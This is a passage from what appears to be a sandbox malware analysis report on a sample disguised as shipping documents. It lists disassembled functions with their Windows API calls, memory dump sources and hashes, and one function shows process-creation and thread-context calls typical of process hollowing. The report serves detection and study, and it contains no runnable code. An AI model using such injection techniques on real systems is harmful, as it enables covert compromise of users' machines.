                                                • Opcode Fuzzy Hash: c6f2b6009abe481c3576d5f585662b8bf46b4c12acb3a32fae5dccf9531f1c64
                                                • Instruction Fuzzy Hash: AE2193B1A102989BCF01DF94D845BDEBBF9DF49304F008059E509A7281DBB49A899F76
                                                Function 00D4C71A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetTempPathW.KERNEL32(00000104,?), ref: 00D4C72F
                                                • GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00D4C746
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Temp$FileNamePath
                                                • String ID: aut
                                                • API String ID: 3285503233-3010740371
                                                • Opcode ID: f636626d9da7a3b2ec1dff262dc7e8eafe0e0c46f783ad8672e2988a6e6f4f39
                                                • Instruction ID: 1e87a9778d61127e70b811f95c2a8c4e7f3c5e7a8b8969b10ed2d41b6fc5376c
                                                • Opcode Fuzzy Hash: f636626d9da7a3b2ec1dff262dc7e8eafe0e0c46f783ad8672e2988a6e6f4f39
                                                • Instruction Fuzzy Hash: 4AD05E7150030EBBDB10AB90DC0EFCA776C9704B04F0001A07651E91F1DAB0E6998B68
                                                Function 00D5F8AE Relevance: 4.9, APIs: 3, Instructions: 385COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 77cf4afd70c905f33c14a4d6f85b17a8f99e9cd5100bbfa5c5e446fe38104be2
                                                • Instruction ID: 530f750b29fa237e1d2c28ec270fd4405579baaff7961c4829e1017d71c34ffc
                                                • Opcode Fuzzy Hash: 77cf4afd70c905f33c14a4d6f85b17a8f99e9cd5100bbfa5c5e446fe38104be2
                                                • Instruction Fuzzy Hash: 48F15B716043019FCB10DF24C485B6AB7E5FF88314F14892EF9999B292DB71E949CFA2
                                                Function 00D04FFC Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00D05022
                                                • Shell_NotifyIconW.SHELL32(00000000,?), ref: 00D050CB
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: IconNotifyShell__memset
                                                • String ID:
                                                • API String ID: 928536360-0
                                                • Opcode ID: 37c9e2796f33bc0e68131275573cbdeb80bbb8e20ec991bf7b659b28e6e6a64c
                                                • Instruction ID: e89e070c7b81506847bce92d60114862bee8865fe1f26d6f7e2729558c6c2401
                                                • Opcode Fuzzy Hash: 37c9e2796f33bc0e68131275573cbdeb80bbb8e20ec991bf7b659b28e6e6a64c
                                                • Instruction Fuzzy Hash: D0314DB15047128FD721DF24E845B9BBBE8FB49304F04092EE99EC6291E771A944CBB2
                                                Function 00D2395C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • __FF_MSGBANNER.LIBCMT ref: 00D23973
                                                  • Part of subcall function 00D281C2: __NMSG_WRITE.LIBCMT ref: 00D281E9
                                                  • Part of subcall function 00D281C2: __NMSG_WRITE.LIBCMT ref: 00D281F3
                                                • __NMSG_WRITE.LIBCMT ref: 00D2397A
                                                  • Part of subcall function 00D2821F: GetModuleFileNameW.KERNEL32(00000000,00DC0312,00000104,00000000,00000001,00000000), ref: 00D282B1
                                                  • Part of subcall function 00D2821F: ___crtMessageBoxW.LIBCMT ref: 00D2835F
                                                  • Part of subcall function 00D21145: ___crtCorExitProcess.LIBCMT ref: 00D2114B
                                                  • Part of subcall function 00D21145: ExitProcess.KERNEL32 ref: 00D21154
                                                  • Part of subcall function 00D27C0E: __getptd_noexit.LIBCMT ref: 00D27C0E
                                                • RtlAllocateHeap.NTDLL(01720000,00000000,00000001,00000001,00000000,?,?,00D1F507,?,0000000E), ref: 00D2399F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
                                                • String ID:
                                                • API String ID: 1372826849-0
                                                • Opcode ID: e32d7f3691fd81785a08e004a280975e6d19a275a5b3d9c8d0a24add66554301
                                                • Instruction ID: 376cc4a7c4e083dc2ef6635a49ca98eddc87517cc1a03adc2cecdc84a7b6c844
                                                • Opcode Fuzzy Hash: e32d7f3691fd81785a08e004a280975e6d19a275a5b3d9c8d0a24add66554301
                                                • Instruction Fuzzy Hash: A00196352457369AE6213B34FC46B2A3358DFB276CB250026F505D6282DFB8DD808E70
                                                Function 00D4C6D9 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,00D4C385,?,?,?,?,?,00000004), ref: 00D4C6F2
                                                • SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00D4C385,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 00D4C708
                                                • CloseHandle.KERNEL32(00000000,?,00D4C385,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00D4C70F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: File$CloseCreateHandleTime
                                                • String ID:
                                                • API String ID: 3397143404-0
                                                • Opcode ID: cfdd1eed5802d002c19d29d33b54d251dbf5fad4e3f2603c0c33d2f1db5ee744
                                                • Instruction ID: 956cb252f012383f22450e8d68a4494b22ebc6974fb9063a104f327974dfc91f
                                                • Opcode Fuzzy Hash: cfdd1eed5802d002c19d29d33b54d251dbf5fad4e3f2603c0c33d2f1db5ee744
                                                • Instruction Fuzzy Hash: 69E08632151314BBD7212B54AC0DFCA7B19AF05770F104110FB14A91E097B1291187A8
                                                Function 00D4BB64 Relevance: 4.5, APIs: 3, Instructions: 22COMMON
                                                Download Yara Rule
                                                APIs
                                                • _free.LIBCMT ref: 00D4BB72
                                                  • Part of subcall function 00D21C9D: RtlFreeHeap.NTDLL(00000000,00000000,?,00D27A85), ref: 00D21CB1
                                                  • Part of subcall function 00D21C9D: GetLastError.KERNEL32(00000000,?,00D27A85), ref: 00D21CC3
                                                • _free.LIBCMT ref: 00D4BB83
                                                • _free.LIBCMT ref: 00D4BB95
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _free$ErrorFreeHeapLast
                                                • String ID:
                                                • API String ID: 776569668-0
                                                • Opcode ID: 20f76424029b3f4f106c4d8a086868d24a1af312dab904e69dcb584714f23b8e
                                                • Instruction ID: 3136bfe3c50f9eb75522eb6c91b7e2659e2f44216214c3911d891d565eb212e8
                                                • Opcode Fuzzy Hash: 20f76424029b3f4f106c4d8a086868d24a1af312dab904e69dcb584714f23b8e
                                                • Instruction Fuzzy Hash: 00E012A964575147DA246579BE44FB353CCCF34365B18081EB459E714ACF24F84095B4
                                                Function 00D02322 Relevance: 3.9, APIs: 3, Instructions: 159COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D022A4: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00D024F1), ref: 00D02303
                                                • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00D025A1
                                                • CoInitialize.OLE32(00000000), ref: 00D02618
                                                • CloseHandle.KERNEL32(00000000), ref: 00D7503A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Handle$CloseInitializeMessageRegisterWindow
                                                • String ID:
                                                • API String ID: 3815369404-0
                                                • Opcode ID: 1dc6243f8b6fbf441e39deaba725ad9ffaa3a2879f02041f4b93ff93dd8a595a
                                                • Instruction ID: c2b2d7c344fedf94cbfeb09806675df7fd53d9cebf9338c3205ce0e77b7eceed
                                                • Opcode Fuzzy Hash: 1dc6243f8b6fbf441e39deaba725ad9ffaa3a2879f02041f4b93ff93dd8a595a
                                                • Instruction Fuzzy Hash: 36717FBC9013A38AC704EF5AA996D95FBA5FB9B344794422ED10AC77A3CB344414CF78
                                                Function 00D28E63 Relevance: 3.1, APIs: 2, Instructions: 127COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D27C0E: __getptd_noexit.LIBCMT ref: 00D27C0E
                                                • __getbuf.LIBCMT ref: 00D28EFA
                                                • __lseeki64.LIBCMT ref: 00D28F6A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __getbuf__getptd_noexit__lseeki64
                                                • String ID:
                                                • API String ID: 3311320906-0
                                                • Opcode ID: 2a17046c4dec97d71d89e018aedf9a491f899396dcdeba7a24508e59cffd36e9
                                                • Instruction ID: 53871862d60307a59885a0e694e047bdbb4f7abdc852f61789462760e24b8c73
                                                • Opcode Fuzzy Hash: 2a17046c4dec97d71d89e018aedf9a491f899396dcdeba7a24508e59cffd36e9
                                                • Instruction Fuzzy Hash: CD412471505B219FD3349F28E941A7A77A5EFA4338B18861DF8BA872D1DB34D840AB70
                                                Function 00D03A0F Relevance: 3.1, APIs: 2, Instructions: 59COMMON
                                                Download Yara Rule
                                                APIs
                                                • IsThemeActive.UXTHEME ref: 00D03A73
                                                  • Part of subcall function 00D21405: __lock.LIBCMT ref: 00D2140B
                                                  • Part of subcall function 00D03ADB: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00D03AF3
                                                  • Part of subcall function 00D03ADB: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00D03B08
                                                  • Part of subcall function 00D03D19: GetCurrentDirectoryW.KERNEL32(00007FFF,?,00000000,00000001,?,?,00D03AA3,?), ref: 00D03D45
                                                  • Part of subcall function 00D03D19: IsDebuggerPresent.KERNEL32(?,?,?,?,00D03AA3,?), ref: 00D03D57
                                                  • Part of subcall function 00D03D19: GetFullPathNameW.KERNEL32(00007FFF,?,?,00DC1148,00DC1130,?,?,?,?,00D03AA3,?), ref: 00D03DC8
                                                  • Part of subcall function 00D03D19: SetCurrentDirectoryW.KERNEL32(?,?,?,00D03AA3,?), ref: 00D03E48
                                                • SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00D03AB3
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme__lock
                                                • String ID:
                                                • API String ID: 924797094-0
                                                • Opcode ID: c49521d2b7c3d175663182ab1ae1748fb2f739b3e76b84eab2b3b965f7b75e6a
                                                • Instruction ID: c929078aead753dcf541961eb663bccff7bbdd336388cc1cb65563304297f1e4
                                                • Opcode Fuzzy Hash: c49521d2b7c3d175663182ab1ae1748fb2f739b3e76b84eab2b3b965f7b75e6a
                                                • Instruction Fuzzy Hash: C911AC759043529FC300EF29EC0591ABBEAEB95310F00891EF589C33A2DB718595CBB2
                                                Function 00D2E9D2 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • ___lock_fhandle.LIBCMT ref: 00D2EA29
                                                • __close_nolock.LIBCMT ref: 00D2EA42
                                                  • Part of subcall function 00D27BDA: __getptd_noexit.LIBCMT ref: 00D27BDA
                                                  • Part of subcall function 00D27C0E: __getptd_noexit.LIBCMT ref: 00D27C0E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __getptd_noexit$___lock_fhandle__close_nolock
                                                • String ID:
                                                • API String ID: 1046115767-0
                                                • Opcode ID: 077e422235eb415c834c02e6683c0c1dcdc506fdbdc6c0b08b4c7c6242482eec
                                                • Instruction ID: 0f258f4f03085096f1294aec947c26f11727d3b8016bc680551f0c405cca35e2
                                                • Opcode Fuzzy Hash: 077e422235eb415c834c02e6683c0c1dcdc506fdbdc6c0b08b4c7c6242482eec
                                                • Instruction Fuzzy Hash: 1811C6728097718AD721BF68F84175C7B60AFA133DF1A4340E4605F1E2CBB4CC409AB5
                                                Function 00D1F4EA Relevance: 3.0, APIs: 2, Instructions: 43COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D2395C: __FF_MSGBANNER.LIBCMT ref: 00D23973
                                                  • Part of subcall function 00D2395C: __NMSG_WRITE.LIBCMT ref: 00D2397A
                                                  • Part of subcall function 00D2395C: RtlAllocateHeap.NTDLL(01720000,00000000,00000001,00000001,00000000,?,?,00D1F507,?,0000000E), ref: 00D2399F
                                                • std::exception::exception.LIBCMT ref: 00D1F51E
                                                • __CxxThrowException@8.LIBCMT ref: 00D1F533
                                                  • Part of subcall function 00D26805: RaiseException.KERNEL32(?,?,0000000E,00DB6A30,?,?,?,00D1F538,0000000E,00DB6A30,?,00000001), ref: 00D26856
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
                                                • String ID:
                                                • API String ID: 3902256705-0
                                                • Opcode ID: 36648e710d96940d3c2b722fd8bc58e04a083c1d555333f2f776df78ebb62c30
                                                • Instruction ID: a810cf7523dc77e80e4666a30be371085b36dcd852f2b34f263ab6ab7f12d1d5
                                                • Opcode Fuzzy Hash: 36648e710d96940d3c2b722fd8bc58e04a083c1d555333f2f776df78ebb62c30
                                                • Instruction Fuzzy Hash: 76F0AF3110422EB7DB04BFA8F8019DE77A9EF20358F748026F909A21C1DFB0D68097B5
                                                Function 00D235E4 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D27C0E: __getptd_noexit.LIBCMT ref: 00D27C0E
                                                • __lock_file.LIBCMT ref: 00D23629
                                                  • Part of subcall function 00D24E1C: __lock.LIBCMT ref: 00D24E3F
                                                • __fclose_nolock.LIBCMT ref: 00D23634
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __fclose_nolock__getptd_noexit__lock__lock_file
                                                • String ID:
                                                • API String ID: 2800547568-0
                                                • Opcode ID: 95a5a3f1848995d0b005a9a61e45bd590aa0a664ba6cf2072fe0f2c272c560e3
                                                • Instruction ID: 89a5e9a31f450cd417ef4380c8d022673eb03e32e59af295ad5ec156769fde4f
                                                • Opcode Fuzzy Hash: 95a5a3f1848995d0b005a9a61e45bd590aa0a664ba6cf2072fe0f2c272c560e3
                                                • Instruction Fuzzy Hash: 00F0BB71901334AAD7117B75A80276E76A49FB033DF258108E455AB2C1C77CCA019B75
                                                Function 01765B2D Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateProcessW.KERNELBASE(?,00000000), ref: 017662EB
                                                • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 01766381
                                                • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 017663A3
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667769704.0000000001764000.00000040.00000020.00020000.00000000.sdmp, Offset: 01764000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_1764000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                • String ID:
                                                • API String ID: 2438371351-0
                                                • Opcode ID: d88754d343c0358fec48bb39518f6d050a5efe1528146ba10a354079ac39ca1d
                                                • Instruction ID: 8d61a0827583c1c9cdcf43946293c0ec68924c7e864560a5ccc99ab3b1ac378a
                                                • Opcode Fuzzy Hash: d88754d343c0358fec48bb39518f6d050a5efe1528146ba10a354079ac39ca1d
                                                • Instruction Fuzzy Hash: 6812C024E18658C6EB24DF64D8507DEB232EF68300F1091E9910DEB7A5E77A4F81CF5A
                                                Function 00D22957 Relevance: 1.6, APIs: 1, Instructions: 135COMMON
                                                Download Yara Rule
                                                APIs
                                                • __flush.LIBCMT ref: 00D22A0B
                                                  • Part of subcall function 00D27C0E: __getptd_noexit.LIBCMT ref: 00D27C0E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __flush__getptd_noexit
                                                • String ID:
                                                • API String ID: 4101623367-0
                                                • Opcode ID: 604a52b038f9d89d146637e8f6a8a9ae492491e42f3dfb09f15d024a6db6c6d3
                                                • Instruction ID: 4e9e5b19684ccf7e3a60d040e9584a7063b13fc8356664b86f9953972a5c74c3
                                                • Opcode Fuzzy Hash: 604a52b038f9d89d146637e8f6a8a9ae492491e42f3dfb09f15d024a6db6c6d3
                                                • Instruction Fuzzy Hash: 3B41B670700726BFDB288E69E88157E77B6EF64368B28852DF855C7540DB70DE808B70
                                                Function 00D1ED18 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ProtectVirtual
                                                • String ID:
                                                • API String ID: 544645111-0
                                                • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                • Instruction ID: d0b50e2957fe2f3c78b59d4be7282c244f1ca3385faf91e39facf9ba58efe481
                                                • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                • Instruction Fuzzy Hash: 0631C974A00105EBD718DF58F4809A9FBB6FF49340B6886A5E849CB256DB31EDC1DBE0
                                                Function 00D79A75 Relevance: 1.6, APIs: 1, Instructions: 88COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ClearVariant
                                                • String ID:
                                                • API String ID: 1473721057-0
                                                • Opcode ID: 4fbd8f68d186c6dcb2a6d23e78e4169d8b757d59ec0439d01c8323608939f88c
                                                • Instruction ID: c03b1f6b6470f05f92cc3f9f439700e5ace6934f58b7e5e52e893b51a2287802
